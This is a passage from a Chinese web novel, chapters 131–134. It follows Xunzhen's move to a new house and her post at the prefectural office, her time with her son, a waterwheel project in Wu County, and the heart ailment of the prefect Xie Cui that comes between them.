考虑到日后要随谢漼四处各地跑,寻真便劝甄凌留在昆山县。这些年,甄凌已和邻里相处融洽,闲暇时也做些糕点,出摊去卖,跟着寻真反倒辛苦。 两人约定,等寻真安定了,再做打算。 启程日,寻真只简单收拾了几件换洗衣物和日常用品,便跟在谢漼的马车后面出发了。 这日阳光明媚,谢漼撩起车帘向外看了一眼,余光瞥见后方晃动的马车,嘴角不自觉扬起弧度。 他心里清楚,自己做出的这个决定,便是彻底将另一条退路堵死了。 也就,再无可能光明正大地迎娶她过门。 但如今,能护她周全,时时看到她。 便已足够。【魔蝎小说 mo xie xs .c om】 130-140 第131章 第131章“新宅” 十全街边,寻真的马车刚停稳,便有一青年迎了上来,殷勤地要帮她搬东西。 那青年面容看着有些眼熟,寻真隐约记得,从前在谢漼的院子里见过。 永望将谢漼的马车停好后,便快步上前,双手提起两大袋行李,问道:“大人,往哪走?” 寻真伸手想拿回来:“不用,我自己拿吧。” 永望露出一口洁白的牙齿,笑道:“小的拿!小的力气大!这些粗活哪能让大人亲自动手?” 寻真回过头,见谢漼慢悠悠地从马车上下来。 还以为进了苏州城之后就各回各家了,看这架势,谢漼好像要去她家坐坐? 谢漼走过来,目光淡淡落在她身上,这眼神的意思应该是让她带路。 好吧…… 以后谢漼就是自己的领导了。 寻真走上前,领着两人拐进一条小巷,指着其中一处宅子,道:“这里便是了。” 钥匙转动声音在安静的巷弄里格外清晰。 寻真转着钥匙,突然意识到,这宅子是用谢漼的钱买的,确实也没道理阻止他进来。 要是谢漼清点过财产,肯定知道她拿走不少。 况且这些年,她花钱虽不算大手大脚,但零零散散加起来数目不小,真要还,凭她每月那么点儿俸禄,确实也还不起…… 胡思乱想着,寻真打开了门。 青年按照她的指示,把东西放在堂中便离开了,出去了,还顺手关上了门。 谢漼立在院中,目光扫过院中的每一处角落,细致地看着。 那日,在昆山县的小院,他也是这样看的。 他到底在看什么呢…… 寻真在一旁的石桌前坐下,忽然想到一事,试探着问道:“……承安呢?怎都没见到他?” 谢漼:“他已赎身。” 寻真哦了一声。 谢漼在她对面坐下:“你这住处离街市太近,眼多嘴杂。恒哥儿若是想来见你,在这儿不稳妥,易被人瞧出端倪。” “我已着人在子城觅得一处宅院,离州府近,往后你当差能省些路途,恒哥儿见你亦可避过耳目。” “明日我让人带你去瞧瞧?” 寻真:“……哦。” 第二天,是昨天那个青年带她去看的。 宅子是三进格局,离州衙约莫一刻钟的马车路程,上下班很方便。 宅子里还有个带池子的小花园。 假山横卧中央,石缝间垂落几串紫藤,一池睡莲开得正好,粉色花苞半掩半露,煞是好看。 池上还建着一座小亭子,天气好的时候,在这儿喝茶观景,定是惬意得很。 寻真一眼就喜欢上了。 永望有些不好意思地说:“爷要的急,只能先找到这样的宅子,看着确实有些小。大人先住着,要是以后有更好的,再换也不迟。” 这还小! 寻真:“不用换了,我一个人住足够宽敞了。你替我谢谢他,不用再费心找别的宅子了。” 永望:“好嘞!大人有什么吩咐,尽管说便是。” 寻真:“对了,你叫什么名字?” 永望:“小的叫永望。” 永望离开不久,谢璋就被送来了。 谢璋一进空荡荡的新宅子,便一路跑着喊“娘!”“娘!”“娘!”。 他的声音在整座宅子回荡着。 看到寻真后,谢璋却又突然腼腆起来,慢慢挪着步子走过去。 谢璋来的时候,寻真正伏在桌前画着什么。 她放下炭笔,转过身:“小恒。” 谢璋凑过去,好奇地问:“娘,你在画什么呢?”说着,他探头看了一眼桌上的画,好像是水车。 “是用来灌溉的。”寻真说着,上下打量起谢璋。今天他穿着一身淡蓝色的新衣,衬得整个人清新可爱,朝气蓬勃。 寻真目测了一下他的身高,一时也看不出有没有长高。 她拉着谢璋走到墙边,道:“小恒,你站一会儿啊。” 谢璋应了一声,虽不知道娘要做什么,但还是乖乖地,站在原地,一动不动。 寻真转身拿了炭笔,走到他跟前,轻轻拍了拍他的肩膀:“小恒,把腰挺直。” 谢璋立刻把腰板挺得笔直,胸膛也跟着挺了起来:“娘,这样可以了吗?” 寻真在他头顶上方的墙上飞速划了一道:“好了。” 谢璋转过身,看着墙上的痕迹,疑惑道:“娘,这是做什么用的?” “用来记录你身高的,以后就能根据这个看出你长高了多少。” 谢璋点点头,哦了一声。 接下来的三天,寻真给谢璋安排了各种运动训练。 她想着孩子年纪小,适当锻炼或许能帮助长高。便每天带着他做站立位体前屈、仰卧拉伸这些伸展运动,还有原地纵跳、立定跳远等弹跳练习。 寻真还把十全街那小宅里的双杠搬了过来,教谢璋做引体向上。 谢璋临走时,寻真交给他一张纸,上面详细写着每日的运动安排,还反复叮嘱:“记得每天喝牛乳。” 谢璋在寻真这儿,是乖巧腼腆的小男生一枚,娘说什么都照做,还信誓旦旦地保证不会忘,如愿得到了揉揉头奖励。 一回到刺史府,见到谢漼,谢璋的另一面便显露出来了。 那小眼神有些幽怨地投过去。 谢漼自然察觉到了,装作没看见。 谢璋发觉自己被忽视,到了晚上,忍不住了,气呼呼地走进谢漼的书房。 谢漼正在书架前找书,见谢璋堵在门口,便问:“有何事?” 娘又是量身高,又是安排一堆运动,还写了张训练单子。 谢璋当然能猜出来了,娘这是嫌弃自己矮了。 谢璋有点点委屈。 若是无干的人说他,他定不会介怀,压根不会往心里去,可是娘的看法,让他格外在意。 谢璋仰起头,上下打量着谢漼,心想这便是书里说的挺拔、伟岸了。 有些埋怨地说道:“爹怎把我生得这般矮小!” 谢漼:“何人说你矮了?” 谢璋撅着嘴,走到塌边,一屁股坐下,生起闷气来。 谢漼走过去:“你只是还没到长个子的年纪,再过两年,自然就长高了。” 其实谢璋也隐隐约约发觉自己比旁人长得慢,只不过平素无人在他跟前说起,便也没放心上。 “可跟我一般年岁的,都比我高一个头了。” 谢漼:“身长几何,不过皮囊罢了。天地既赐你此貌,皆有定数,便顺天应命,寻常心看待便可。” 谢璋小声嘟囔:“你自己长得高了,当然这么说……” 谢漼:“世人万千,各有所长。” “立身之本,不在高矮。恒哥儿,莫为皮相所困。” 谢璋脱口而出:“可我长得矮了,娘便不喜欢我了。” 谢漼一怔,问道:“恒哥儿为何会这么想?” 谢璋耷拉着脑袋不答,谢漼又问:“你娘跟你说什么了?” 谢璋把事情原委一五一十说了,末了还添一句:“我如今好不容易得了娘的欢喜……若我这辈子都长不高了,可怎么办?都怪爹!” 谢漼听了,神色有些恍惚,脑海中不自觉浮现出那日她在集市上讲学的模样。 谢璋抓住他的手,用力晃晃:“爹,你有没有在听我讲话?” 谢漼嗯了一声:“听到了。恒哥儿还是按你娘的法子,每日坚持,若到最后还是这么点个子,便是命了。爹也没办法,你要怪便怪吧。” 谢漼这么一说,谢璋更气了。 翌日,谢璋跑到寻真那里,气鼓鼓地告状,说谢漼讲风凉话。 谢璋抱怨完,小心瞅着寻真,小声问:“娘,若我真的从此长不高了,怎么办……” 寻真心想,谢漼竟然会说这种话吓唬小孩。 不过,谢璋长不高,还真不能怪谢漼…… 寻真:“长不高那又怎么样?浓缩就是精华!” “矮个子的人才最聪明呢!你瞧我,是不是也不高,日子不也过得好好的?” “再说了,你还在长身体呢,不到二十岁,一切都有可能,现在瞎担心什么!” 谢璋听寻真这么说,一下子就不纠结了,重重点头:“嗯!” 歇了几日,很快到了报道的日子。 寻真去州衙赴任。 先到司职接待的吏员处报到,出示任职文书,登记完之后,吏员领着她在州衙各处转悠,介绍各部办公地点。 州衙的规模比县衙要大得多,寻真的办公室是独立院落,虽不宽阔,却五脏俱全,签押房、会客室、休息室,还有单人卫生间。 比昆山县的条件好了不知多少,以后上厕所也不用偷偷摸摸了。 寻真很满意。 房间已被收拾干净了,寻真四下打量一番,正准备去找谢漼,听到脚步声从院外传来。 寻真抬头,便见范岂走来。 范岂:“竞舟。” 范岂身为长史,州衙人事变动自是瞒不过他。他早已知晓寻真即将升迁至此,也深知谢漼为此付出的取舍。 范岂心中暗暗慨叹,若换作自己,处于谢漼的境地,恐怕下不了这般决断。 寻真:“怀逸。” 范岂:“今日头一天到任,可还习惯?” 寻真点了点头,正要说话,眼角余光瞥见谢漼出现在院门口。 谢漼透过窗户瞧见两人身影,脚步一顿。 范岂见寻真目光后移,也随之转身,见到谢漼走来,拱手行礼:“使君。” 寻真也行礼:“使君。” 谢漼微微点头,对范岂道:“长史,本州有事需与司水商议,你若无事,便先去忙吧。” 范岂应了声“是”,便退下了。 待范岂走远,谢漼上前,语气听似随意:“你与范岂方才说什么?” 寻真:“还没说什么,你就来了。” 谢漼盯着她看了许久,似乎是在辨认她这一番话的真实性,而后缓缓问道:“你何时还与他见过?” 寻真想了想,道:“前年年末,与潘竞一同来州衙时。” 谢漼嗯了一声,没有再问什么。 第132章 第132章“唤他” 谢漼简明扼要地交代了后续工作安排:先熟悉州衙的基础事务,尽快摸清本州农桑、水利的整体情况。大约一月后,便要频繁地出差到各县了。 寻真垂头,一一记录要点,待周遭没了声响,转头问道:“……还有别的么?” 谢漼的目光落在纸上的字,见她看来,便挪开了视线。 不多时,小吏抱来一摞有关农业水利的典籍、文书与账目。谢漼让她看这些资料,临走前留下一句:“若有不解之处,可随时来寻我。” 大致翻了翻,寻真便开始拜访同事们。 先去拜见别驾、长史、司马等州衙的重要佐官,到范岂处时,还被邀请坐下喝了杯茶。之后,去见“纪检”——录事参军。 寻真向来爱卡点上班,以前在县衙,偶尔会失误,迟到一点点,典吏一般都睁一只眼闭一只眼,不记她名。 但如今在州衙,还是得看看这位“纪检”的脾性。 见了面,虽然觉得对方生得面善,寻真决定先持观望态度。 之后,寻真又一一拜访了同级别的其他参军。一圈下来,只觉大家都挺和善,是好相处的人。 州衙设有膳堂,正午,寻真便被同僚们邀着一同用餐。不过,这食堂饭菜实在差强人意。甄凌不在,寻真又抽不出空自己下厨,只能暂且将就,凑合凑合吃吧。 为防睡过头,寻真还特意买了只公鸡。许是新宅子太静,这夜她睡得格外沉。 早上睁眼,看窗外天光大亮,心咯噔一下,瞬间凉了半截。 出去一看,那只鸡躺在窝里,睡得比她还香! 寻真五分钟潦草洗漱了下,胡乱套上衣服,翻身上马便朝着州衙疾驰而去。 还是没赶上。 州衙卯时正,即早上六点,准时点卯。 她足足迟到了一刻。 而那位看似面善的录事参军铁面无私,无情地记了她一笔。 要知道,迟到次数多了,可是会影响年终考核的。 寻真瞄了一眼,那小本本上名字还不少。 看来,这位纪检看似好说话,实则半点通融不得。 寻真可不想折在考勤上,决定还是多买几只公鸡! 此后几日,靠着六只鸡,寻真倒是再没迟到。 只是鸡不懂掐点,有时候凌晨三四点就扯着嗓子“喔喔喔——”了,搅得她这五日都没睡好,就盼着休沐好好补一觉了。 寻真完成手头事务,坐等散衙。 忽有小吏来报,说是有好友前来拜访。 她出了院子,见两男子并肩而来,不由愣住。 是纪慎与潘竞。 这两人,怎么会凑到一处? 潘竞笑着唤她:“竞舟,这几日在州衙可还适应?” 纪慎道:“竞舟,好久不见。” 寻真让小吏帮忙沏茶,引二人至会客室。 纪慎很快解了她的疑惑。原来他在京为官两年后,主动求调外任,此番赴任前返乡省亲,顺道来看她。到了昆山县才得知她已调至州衙,正巧潘竞也打算来找她,二人便结伴同行了。 寻真:“原来如此。那今日我做东,请你们吃酒!” 散衙后,三人并肩朝着州衙大门走去。 晚霞似锦,如锦缎铺展,偶有归鸟掠过天际,鸣声清越。 谢漼脚步一滞,见那并肩而行的三人走出大门。 酒楼包厢内。 潘竞向来社交手腕了得,跟谁都能说上两句,三言两语便能与人大聊特聊。起初气氛倒也热络。可随着话题深入,潘竞便渐渐觉得自己插不进寻真与纪慎的对话中了。 对纪慎来说,寻真与他同窗两年,又曾一同从苏州赴京赶考,更别提寻真还压中了乡试题,助他度过一道坎。这般情谊,早让纪慎将她视作至交,是能谈心的对象。几杯酒落肚,愁绪涌上心头,纪慎便将在京中的苦闷一一倾诉,眼中难掩落寞。 寻真心想,纪慎性子内敛又敏感,瞧这模样,在京都定是受了不少委屈。 寻真也不知该怎么安慰,只默默聆听着。 纪慎倾诉完,心中的郁结倒是散了些。回过神来,才意识到还有外人在。心道,见到竞舟便忍不住,竟说了这么多,不禁有些窘迫,道:“让你们见笑了。” 席间,潘竞听着听着,便也知道了,甄善美与纪慎不仅是同窗,还是同年,这般深厚情谊,旁人自是难及。 而他与甄善美相识于县衙,还是上下级,相处时难免会有几分拘谨,暗暗想道,这般推心置腹的言谈,他们的确没有过。 接下来,寻真与纪慎有一搭没一搭地聊着,时而说起书院同窗时的趣事,时而聊到赶考途中的轶闻。 潘竞难得安静下来,大多时候只默默听着,偶尔抿一口酒。 结束时,夜已深。 纪慎喝得有些多了,脚步踉跄,倒还能站稳,摇摇晃晃地朝楼下走去。 三人在酒楼门口作别。 潘竞上了马车,回去路上,心里总觉得哪里不对劲,翻来覆去想不明白,便让车夫转道,去刺史府。 到了刺史府,潘竞撩起帘子,见一辆马车停在门口,谢漼正要上马车,喊了一声:“缮之!” 谢漼转过头来。 潘竞走过去:“缮之,这么晚了,你要去哪儿?” 谢漼:“有何事?” 潘竞眼中有几分醉意,道:“有件事想不明白,特来找你说道说道。你这会儿可有空?” 马车里探出一个脑袋。 谢璋的脸在潘竞眼前一晃而过,还没等潘竞看清,那小脑袋又迅速缩了回去。 谢漼颔首应允,掀开马车帘子,与里面的人低语了几句,随后对潘竞道:“走吧。” 二人到附近的小酒馆。 谢漼见潘竞神色郁郁,便问:“怎了,何事想不明白?” 潘竞眉头微蹙,思量许久,吞吐着憋出这么一句:“缮之,若我与景桓之间的情谊更为深厚,你待如何?” 谢漼倒酒的动作一滞,掀眸看他:“子尚何出此言?” 潘竞抓了抓头发,话到嘴边又觉得难以启齿,闷头灌了一口酒。想来许是酒劲上头,自己瞎琢磨罢了,便晃了晃头,笑道:“无事,无事……对了,你方才瞧见我,怎的不惊讶?” 谢漼:“散衙时,见你与竞舟一道出去了。” 潘竞点了点头。 另一边。 寻真有点困了,却因谢璋说谢漼稍后会来,撑着没睡,可左等右等不见人来,便问谢璋:“你爹真的说了,他会来?” 谢璋:“嗯,他说有公务要找你谈。”说完望了望天色,心里埋怨起谢漼来,怎这般慢,让娘等得累了。 谢璋思索片刻后,便替谢漼拿定了主意:“娘,你先睡吧,我们不管爹了。我这就去跟永望说,让爹明日再来。” 寻真:“这样真的行?” 谢璋:“行的。” 永望守在偏门,听了小主子的吩咐,面露难色,道:“恒哥儿,可爷特意交代,要留着门的。” 谢璋:“没事,要是爹怪罪你了,你就说是我的吩咐。” 刚要落锁,谢漼便来了。 谢璋看见谢漼,多少有点心虚,瞄了他一眼便垂下了眼。 谢漼:“如今恒哥儿心里只有娘了?” 谢璋嘟囔着:“还不是爹来得太晚……娘都困得不行了,总不能让她一直等着吧?到底是什么要紧事,非得今晚说……” 谢漼:“你去瞧瞧,若你娘歇下了,我明日再来。” 寻真正在卧房桌前坐着,看闲书,听闻谢漼到了。 出去时还想,谢漼到底有什么重要的事要说。 自她住进这宅子,谢漼还从未登门,今夜倒是头一遭。 新宅子没有仆人,谢漼会定期派人过来打扫,谢璋来了,永望也会住在后院,随时听候差遣。有谢璋在,她跟谢漼之间,便总有着千丝万缕的牵扯,大概永远断不了。 寻真到大堂,在谢漼身旁坐下。等了许久,见他没有开口的意思,便率先打破沉默:“可是有什么急事?” 谢漼瞳中映着跳动的烛焰,缓缓道来,让寻真根据几个县的实际情况,制定长期的水利发展规划。 约莫讲了两刻,谢漼停下来抿了口茶。 寻真:“我都记下了,后日便着手去做。” 谢漼:“十日后给我。” 十日。 听到这个期限,寻真怔愣了一瞬。谢漼见她恍惚模样,也想起来了。 与谢漼目光相撞,寻真迅速别开视线。 一时间,空气变得有些粘稠了。 寻真望着窗外的夜色。 思绪纷乱时,谢漼忽似随口问道:“今日散衙,见你与潘竞,还有另一人一同出去,那人是谁?” 寻真:“是我同窗。” 谢漼:“在青麓书院求学时结识的?” 谢漼是寻真上官,这些信息一查便知,她也不觉得意外,只应了声:“嗯,在青麓书院时,他坐在我前面。” 谢漼没再多问。 良久沉默,寻真心想,这么晚了,要主动提出让谢漼留宿吗? 正纠结着,谢漼已起身:“我便先回了,你早些歇息。” 寻真也跟着起身:“好。” 寻真送谢漼出去。 二人并肩朝偏门走去,一路无话。 至檐下,月光斜斜洒落,将谢漼的脸映得半明半暗,神情晦涩难辨。 寻真想了想,还是唤他:“缮之……后日见。” 谢漼凝视着她,指尖微微发颤。 方才一路走来,有几处昏暗幽深,他几乎克制不住,想将她圈入怀中,抵在暗处,做些什么……可到底是忍下了。 以前想让她唤自己的字,偏她狡黠,就是不应,总喊他全名。 谢漼,谢漼,谢漼。 他回忆着她唤时的语调,尾音上扬,还打着转儿,搅得他心尖儿发颤。 那声清越如泉,每回听她这般唤,心里总有种说不出的感觉,痒痒的,很想将她捉到怀里,狠狠堵住…… 以后,还能有机会再听一回么…… 谢漼这样想着,轻应了声,转身登上马车。 第133章 第133章“什么药?” 十日后,寻真将水利发展规划书给谢漼,谢漼扫了一眼,搁至一旁,交代起半月后的出行安排,寻真时不时嗯一声,点点头。 在州衙里,寻真恪守官场礼制,谢漼说完,她便叉手行礼,准备退下。 谢漼叫住:“等等。” 寻真:“使君还有何吩咐?” 谢漼起身,行至一侧的木架前,取下一个木匣,递给她。 寻真接过:“这是何物?” 谢漼:“用以敷面。每日三次,薄涂即可。” “可润肌泽肤,养气韵。” 寻真离开后,在回廊边寻了处石凳坐下,打开木匣,内里放着个小巧的玉质圆木盒,跟潘竞给她的那个差不多。 揭开盒盖,淡雅的草木清香扑面而来,细细嗅来,还夹杂着若有似无的药香。 半月后,寻真跟着谢漼出差去吴县。 因谢璋同行,马车行得格外缓。 谢璋坐在寻真的马车里,不时地扒着车窗向外张望,小脸上满是雀跃。 心想,这还是头一回与娘一道出远门呢! 踏入吴县地界,寻真望着窗外连绵的青山、潺潺流水,记忆涌来。 那时听谢进说起吴县的山水,寻真颇为向往,如今也是见到了。 也不知,谢进现在怎么样了。 寻真回想起在谢府的五年,隐隐有一种被什么东西束缚的沉重感,让人喘不过气。 若现在再让她回谢府,怕是连一秒都待不下去。 难以想象,她在那儿熬过了五年…… 寻真轻轻舒了口气,不再想那些。 到了吴县,当地官员已在城门口候着,一路引着众人到官舍安顿。 寻真迅速投入工作。 整日钻研吴县的地形,反复改良水利工程设计。和在昆山县时一样,她在原有堤坝上增设了水位监测系统,每隔一段距离就立起刻度杆,还安排专人定时巡查、记录。 至于灌溉方案,寻真打算先建小型水车群试点。若效果好,再大规模推广。 此后十日,寻真和当地的水利专家讨论选址,又带着工匠师傅们实地勘察。 从水车的构造设计,到材料选用,再到施工细节,每一个环节她都盯着。 这段时间,她忙得脚不沾地,每晚回到官舍倒头就睡。 功夫不负有心人,水车群的建设很快就顺利开工了。 有刺史坐镇,各项事务推进得格外顺利,人力与物资调配都畅通无阻。 短短一个月,吴淞江畔的水车群便宣告竣工。 午后,阳光洒在波光粼粼的江面,一架架水车错落有致地排列着。一个个水斗依次没入江中,舀起江水,再升起,将水倒入水槽,流向农田。 水车转动发出“嘎吱嘎吱”的声音,与潺潺的水声交织着。农民们在田间劳作,不时抬头望一眼水车群,脸上洋溢笑容。 寻真立在高处俯瞰这一切,也不禁露出跟他们同样的笑容。 忙了这么久,终于能歇口气了。 回到官舍,寻真本想小睡一会儿,瞥见桌上的小圆盒。谢漼给的面膏用了一个多月,效果比潘竞的好太多。皮肤明显变得水润,似乎还白了点。 寻真想了想,去向谢漼道谢。 到谢漼房门前,正欲叩门,见一黄衫小厮托着漆盘而来,一股子药味往鼻里钻。 小厮走过来,唤道,“大人”。 寻真问:“这可是给使君的?” 未待小厮回应,门从里面打开,谢漼目光扫过她,道:“进来吧。” 仆人放下药便退下,谢漼一饮而尽,随后在桌前坐下:“怎了,可是又遇阻了?” 寻真:“没……” 平时,她确实只有 碰上棘手问题才会来找谢漼,毕竟谢漼说话比她管用多了,一句令下,卡的关节很快便能通了。 寻真随便找了个地方坐下,目光落在空药碗上,像是随口问道:“……你喝的这是什么药?” 谢漼语气平淡:“寻常调理身子的药。” 寻真哦了一声,垂眼看着地,沉默片刻,道:“其实,我是特来道谢的,你上次给我的面膏,很有用,谢谢……” 谢漼:“用完了,便知会我。” 寻真:“嗯……” 寻真看过去,视线定在他脸上。 这才发现,他的脸有些苍白,唇部也失了血色。神色恹恹。 寻真很久没有仔细看过谢漼了,这么一盯,见他身形也清减了不少,浑身透着几分病弱之气。 他生病了? 寻真起身时,谢漼道:“你可记得,后日便是恒哥儿的生辰了。” 寻真一拍脑门,差点把这事忘了! 十日前,谢璋来找她,模样扭扭捏捏,欲言又止,满脸有话要说却又不好意思说的样子。 在她的追问下,谢璋也不肯直说,只是暗示:“……是我一个很重要的日子。” 这么一说,寻真就猜到了:“我知道了,是小恒的生辰,我一直记着呢。” 谢璋立马开心了,眼睛亮亮的:“娘可要将那一天留给我,陪我一起过生辰!” 寻真:“那自然。” 没想到一忙起来就抛到了脑后。 寻真懊恼地看向谢漼:“我忘记给他准备生辰礼了,怎么办?现在来不及了……” 谢漼:“无妨,只要你记得日子,恒哥儿便不会难过。” 六月二十六日,寻真起了个大早,打算做个蛋糕。 许久没做,寻真失败了好几次,脸被灶火熏得乌黑乌黑。 本想给谢璋一个惊喜,奈何谢璋从不睡懒觉,一醒来便满官舍找她,最后在厨房逮个正着。 “娘,你在做什么好吃的?”谢璋凑过来,看到她的模样,惊呼道,“娘,你的脸……” 寻真被呛得直咳嗽,连推带哄地把谢璋送出厨房:“小恒,你先出去,等会儿就好。这里烟大。” 谢璋:“我帮娘吧!” 寻真:“今日是你的生辰,这是专门给你做的,现在看了可就没惊喜了,去我房里等。” 谢璋一听是寻真特意为他做的,眼睛亮得像星星,连连点两下头。 半个时辰后,终于大功告成。 寻真端着圆润的蛋糕胚回房,放到谢璋面前,说:“小恒,我前些日子太忙,没来得及准备礼物,便只做了这个。” “这叫蛋糕,你对着它许愿,我一定帮你实现。” 谢璋:“我希望娘每年都能陪我过生辰!” 寻真:“怎许这般简单的?” 谢璋:“这个便是我最大的心愿了。” 寻真揉揉他的脑袋:“好,我答应你。” 谢璋开心地吃着蛋糕,连连称赞:“娘,真好吃。” 寻真看着他吃得香甜,突然想起什么,问道:“小恒,你知道你爹在喝药吗?” 谢璋点点头:“每年这时,爹都要喝药的。” 寻真:“为何?” “因为爹——”谢璋突然噤声,眼神中闪过一丝犹豫,像是在思考这话该不该说。 寻真追问:“因为什么?” 谢璋垂下头,躲开她的视线:“没什么……” 寻真抓住谢璋的肩膀,晃了晃:“小恒,你可别瞒着我!” 谢璋:“没有……” 寻真:“小恒!” 谢璋抵挡不住了,便说:“爹有心疾的……每年天热了,便易犯病……” 寻真一怔,谢漼以前身体挺健康的啊,怎会有心疾了? 寻真:“你爹何时患的心疾?” 谢璋却摇了摇头,抿紧嘴唇不再说。 寻真陷入了沉思。 所以自重逢后,谢漼出行总是坐马车,再未骑过马。 想起谢漼苍白的脸色,寻真问道:“你爹的心疾,可严重?” 谢璋还是摇了摇头。 其实谢漼从未叮嘱过谢璋保密,是谢璋凭着直觉,觉得这事说出来可能不妥,便对寻真瞒下了。 谢璋回去后对谢漼说:“爹,我方才不小心把你有心疾的事告诉娘了……” 谢漼:“你是如何说的?” 谢璋便将方才与寻真的对话如实道来,说完瞅瞅谢漼,问道:“爹,我是不是说错话了?娘看着好像很担心你呢……” 谢漼身形微微一滞,凝视着儿子许久,才缓缓开口:“……是吗?” 谢璋:“都怪我嘴快……爹,你放心,我下回再也不乱说了。” 谢漼默了片刻,唇动了动,移步到窗边,眼中有了几分明悟,似是谢璋之语点醒了他。 得知谢漼的心疾后,寻真总是不自觉地留意他的脸色,见他接连几日唇色苍白,直到第六日才恢复血色,紧绷的心弦稍稍松了松。 一次会议结束,官员们陆续散去,寻真走在最后,见男仆端着药进了谢漼的房间。闻着药味比上次还浓。 寻真脚步一顿,犹豫一会,还是转身折了回去。 谢漼:“还有事?” 寻真“嗯”了一声,开始聊起堤坝的排水设计,她打算在堤脚铺设陶土管,再用粗砂做排水层,这样能及时排出积水。 交谈间,寻真见谢漼迟迟未动药碗,忍不住提醒:“你怎还不喝?凉了药效就差了。” 谢漼应了一声,饮下药,看向她,目光在她脸上停留了数秒。 随后,他走到桌前,铺开纸,不紧不慢磨起墨来,提笔书写。 寻真瞥了一眼。见他运笔如行云流水,笔锋游走恣意纵横。 寻真再三迟疑,还是走过去,启唇问道:“我听小恒说……” “你有心疾……可是真的?” 谢漼低低应了一声,没有抬头,腕间不停,极为投入的样子。 这里医疗条件这么落后,心脏病发作起来,很容易就…… 寻真想了又想,还是问:“你找大夫看过吗?” 谢漼:“这病症,我尚可自医。” 寻真:“我觉得……你还是不要对自己的医术太过自信了。” “毕竟术业有专攻,即便你懂些医理,肯定不如专门治心疾的大夫,还是请人来看看吧。” 谢漼终于停下了笔,抬眼注视她,目光深沉,让人捉摸不透。 寻真心想,说他医术不行,他不爽了? 毕竟谢漼有的时候,还是挺自负一人…… 第134章 第134章“你有没有…” 寻真立即补充:“我不是说你医术差,我的意思是……” 见谢漼凝视着她,寻真才突然意识到,她越界了。 她跟谢漼现在是什么关系? 上下级。而且谢漼的官阶不知比她高出多少。 谢漼可是刺史,她一个八品小官关心这么多干嘛? 寻真正尴尬时,谢漼开口道:“我知道。多谢竞舟挂怀。”他声音温和。 寻真:“嗯。” 一场雨过后,空气愈发闷热黏腻。 官舍里条件没那么好,冰块限量供应,就那么一盆,融了就没了。寻真被生生热醒,出了一身汗。她下了床,伸手探入盆里,水是温热的。 寻真取了巾帕,打开门,将盆里的水泼出去,哗的一声,惊起夜鸟的啼鸣。 今夜,天上没有云,明月高悬,远处的山峦在月色下勾勒出起伏的轮廓。寻真驻足欣赏了一会儿,端着盆去井边打水。 寻真路过谢漼的屋子时,朝那紧闭的窗看了一眼。 到了井边,寻真先提上一桶水,冲了冲脚,顿时感到一股沁凉,驱散几分燥热,寻真又捧水洗脸,最后打满一盆,准备端回房擦身。 返程再次路过谢漼屋外,目光不经意扫过。 门前有个黑黢黢的影子,轮廓高大,寻真停下脚步,定睛细看。 真的有个人站在那儿。 是谢漼。 两人隔着丈许距离,就这么静静对视着,一时间,谁也没有说话。 寻真所在地稍亮些,自谢漼的角度看去,月光倾泻而下,覆在她身上,为她镀上了一层半透明的银边,教人分不清是真实,还是虚无。 面前人似真似假,如同隔着层迷雾。 谢漼想往前迈步,将人看得更真切些。 谢漼刚从梦中惊醒。 梦里,赤乌高悬,暑气蒸腾。 谢漼孤身立在一片荒芜之地,中央有一座小院,他刚走近,院中无端窜起烈焰,火舌狂舞,一阵狂风袭来,顷刻间,浓烟滚滚。 整座院落瞬间化成火海。 隐隐约约,他听见里面传来凄厉的哀嚎、哭喊。 他立在熊熊大火前,眼神茫然,皮肤被烈火的气浪灼得发痛,几乎要迸裂开来。 恍惚间他看见,一只焦炭般、蜷缩变形的手自门缝中伸出。 里面有人…… 里面是谁呢? 里面是……他的真儿。 谢漼迈了一步,胸口剧痛,眼前黑了一瞬,他身子晃了晃。 寻真一惊,连忙放下水盆,三步并作两步冲上前扶住他。 毕竟谢漼这么大一只,分量还是很沉的。 寻真被谢漼带得后仰,险些支撑不住。 还好这几年一直坚持锻炼,即便平时工作量大了,至少会挤出点时间举举铁,手臂上的肌肉足以支撑他的重量。 寻真想,要换成刚穿来时那副病弱身子,谢漼怕是能把她直接压倒,两人都得摔。 寻真双手环住了他,隔着薄薄的一层亵衣,滚烫的体温从里面透出来。 寻真清晰感觉到,谢漼的身体正在细微地颤抖着。 像是因剧痛,而引发的生理性颤栗。 寻真仰头看去,在昏暗的光线下,也能看见他脸上密密麻麻的汗。 不禁脱口而出:“谢漼,你感觉怎么样?” 谢漼垂下眼,幽深的眸子锁住她,喉间溢出沉重急促的喘息。 寻真又问:“……你还好吗?” 谢漼冷汗簌簌,胸口一阵连着一阵抽疼,眼前发黑,朦胧模糊。 他竭力忍下,咬紧牙根,定眼看去。 眼前的雾气散开,那张无数次出现在梦中的面容,竟真真切切出现在眼前了。 谢漼不敢呼吸,不敢眨眼。 “谢漼,你——” 下一瞬,谢漼将她紧紧拥住,几乎用尽了全身的力气。 力道大得仿佛要将人揉进骨血。 寻真被裹入一个炙热的拥抱。 他拥着她,手掌抵在她后背,指尖不受控制地颤抖着。 碎裂的心,好似在这一刻一片片归拢起来。 数年间,她出现了无数回,只有这一回是能抱住的。 “真儿……” 梦呓一般,他低低地唤。 虽是深夜,但难保不会有人撞见,寻真很快回过神来,想要推开谢漼。可谢漼抱得死紧,无论如何都挣脱不开。 寻真的手绕到他背后,拍了下:“我们先进里面吧?万一被人看到了……” 谢漼恍若未闻。 寻真又唤:“……谢漼?” 腰间的桎梏松了些,寻真趁机推了推。 这一下,推开了。 檐下光线昏暗,两人近在咫尺。 寻真仰头看去,见谢漼眼中的混沌渐渐褪去,似是恢复了一些清醒。 却默不作声,仍直直盯着她。 寻真呼吸一滞,眼神瞥到一边:“先进去吧……你能自己走吗?” 谢漼依旧不说话。 寻真:“……我扶你进去?” 谢漼终于轻轻应了声。 寻真揽着谢漼的腰,将他扶进屋里,关上门,接着又点了烛。 屋内亮堂起来,对上谢漼的视线,寻真的心突地一跳,下意识抓了抓头发,然后又有些局促地放下手,揪了揪衣角。 令人窒息的沉默。 寻真率先打破僵局:“……要不我叫永望过来?” 谢漼的声音有一丝哑:“不必。” 这么一番折腾,寻真身上又全是汗了。 密闭的空间里,没有一丝风。 谢漼的胸腔起伏着,沉沉呼吸。 那声音又沉,又重,明明还隔着几步远,那热息却仿佛直接扑上了她的脸,烘得她脸颊发烫,整个人愈发燥热。 几乎呆不下去了。 寻真:“你方才是……犯心疾了吗?” 谢漼凝视着她,缓缓地点了点头。 寻真想问些什么,唇动了动,话在喉中打转,说出口却是另一句:“那你现在还好吗?要不要喝药?你给我药方,我叫人去给你煎吧?” 谢漼:“不用。” 